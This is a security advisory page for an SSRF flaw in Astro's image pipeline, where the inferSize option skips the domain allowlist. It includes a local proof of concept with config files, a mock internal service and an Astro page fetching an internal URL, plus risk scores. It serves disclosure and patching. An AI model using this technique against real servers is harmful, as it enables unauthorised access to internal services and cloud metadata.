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GHSA-cj9f-h6r6-4cx2

MediumCVSS 6.5 / 10
Published Feb 25, 2026·Last modified Feb 28, 2026
Affected Components(0)

No affected components available

Description

Summary

A bug in Astro's image pipeline allows bypassing image.domains / image.remotePatterns restrictions, enabling the server to fetch content from unauthorized remote hosts.

Details

Astro provides an inferSize option that fetches remote images at render time to determine their dimensions. Remote image fetches are intended to be restricted to domains the site developer has manually authorized (using the image.domains or image.remotePatterns options).

However, when inferSize is used, no domain validation is performed — the image is fetched from any host regardless of the configured restrictions. An attacker who can influence the image URL (e.g., via CMS content or user-supplied data) can cause the server to fetch from arbitrary hosts.

PoC

<details>

Setup

Create a new Astro project with the following files:

package.json:

{
  "name": "poc-ssrf-infersize",
  "private": true,
  "scripts": {
    "dev": "astro dev --port 4322",
    "build": "astro build"
  },
  "dependencies": {
    "astro": "5.17.2",
    "@astrojs/node": "9.5.3"
  }
}

astro.config.mjs — only localhost:9000 is authorized:

import { defineConfig } from 'astro/config';
import node from '@astrojs/node';

export default defineConfig({
  output: 'server',
  adapter: node({ mode: 'standalone' }),
  image: {
    remotePatterns: [
      { hostname: 'localhost', port: '9000' }
    ]
  }
});

internal-service.mjs — simulates an internal service on a non-allowlisted host (127.0.0.1:8888):

import { createServer } from 'node:http';
const GIF = Buffer.from('R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==', 'base64');
createServer((req, res) => {
  console.log(`[INTERNAL] Received: ${req.method} ${req.url}`);
  res.writeHead(200, { 'Content-Type': 'image/gif', 'Content-Length': GIF.length });
  res.end(GIF);
}).listen(8888, '127.0.0.1', () => console.log('Internal service on 127.0.0.1:8888'));

src/pages/test.astro:

---
import { getImage } from 'astro:assets';

const result = await getImage({
  src: 'http://127.0.0.1:8888/internal-api',
  inferSize: true,
  alt: 'test'
});
---
<html><body>
  <p>Width: {result.options.width}, Height: {result.options.height}</p>
</body></html>

Steps to reproduce

  1. Run npm install and start the internal service:
node internal-service.mjs
  1. Start the dev server:
npm run dev
  1. Request the page:
curl http://localhost:4322/test
  1. internal-service.mjs logs Received: GET /internal-api — the request was sent to 127.0.0.1:8888 despite only localhost:9000 being in the allowlist.
</details>

Impact

Allows bypassing image.domains / image.remotePatterns restrictions to make server-side requests to unauthorized hosts. This includes the risk of server-side request forgery (SSRF) against internal network services and cloud metadata endpoints.

Risk Scores
Base Score
6.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.

Threat Intelligence
6.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Related Vulnerabilities
  • CVE-2026-27829
    Alias
  • EUVD-2026-8785
    Alias

Browse More

Medium severity
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